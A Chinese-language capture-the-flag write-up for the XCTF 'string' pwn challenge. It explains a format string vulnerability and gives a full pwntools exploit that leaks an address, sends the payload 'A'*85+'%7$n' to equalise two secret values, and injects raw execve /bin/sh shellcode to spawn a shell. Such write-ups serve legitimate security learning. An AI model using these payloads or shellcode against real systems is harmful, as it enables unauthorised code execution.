攻防世界pwn新手练习(string)

string

首先我们看一下程序的保护机制
攻防世界pwn新手练习(string)_第1张图片
程序开了NX(堆栈不可执行)、CANARY(栈保护)和PELRO
程序太长了,我们就不运行了,在IDA中我们查一下有没有什么明显的地方攻防世界pwn新手练习(string)_第2张图片
在这个函数里面 我们发现了一个格式化字符串漏洞,在他的上面有两个输入点,一个是“%ld”格式,一个是“%s”格式
我们在往下看,紧接着的函数里有这么一个东西
攻防世界pwn新手练习(string)_第3张图片代码执行,条件是a1这个数组里面的第一个数字等于第二个数字
我们往回追,看他这个最初是什么
攻防世界pwn新手练习(string)_第4张图片可以看到程序给出了这两个数,一个是68, 一个是85,并且可以看到程序会将数组的地址打印出来的,那么,利用这些信息我们就可以通过格式化字符串漏洞使数组的前两个数相等,需要注意的是
攻防世界pwn新手练习(string)_第5张图片
程序的格式化字符串漏洞上面有两个输入点,漏洞利用在第二个输入点,那我们可以在第一个输入数组的地址,然后在第二个输入点进行利用
效果如下
攻防世界pwn新手练习(string)_第6张图片
EXP

from pwn import *
#context.log_level = 'debug'

r = remote("111.198.29.45", 47892)
#r = process("./string")

r.recvuntil("secret[0] is ")
addr = int(r.recvuntil("\n")[:-1], 16)
print addr

r.recvuntil("What should your character's name be:\n")
r.sendline("aaa")

r.recvuntil("So, where you will go?east or up?:\n")
r.sendline("east")

r.recvuntil("go into there(1), or leave(0)?:\n")
r.sendline("1")

r.recvuntil("'Give me an address'\n")
r.sendline(str(addr))

r.recvuntil("And, you wish is:\n")
payload = 'A' * 85 + "%7$n"
r.sendline(payload)

#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
r.sendline(shellcode)

r.interactive()

over,有不清楚的可以留言讨论

最后放一下我的博客(www.sailingplace.cn),有兴趣的可以来看看(萌新的小天地,师傅们轻点喷)

你可能感兴趣的:(攻防世界,pwn)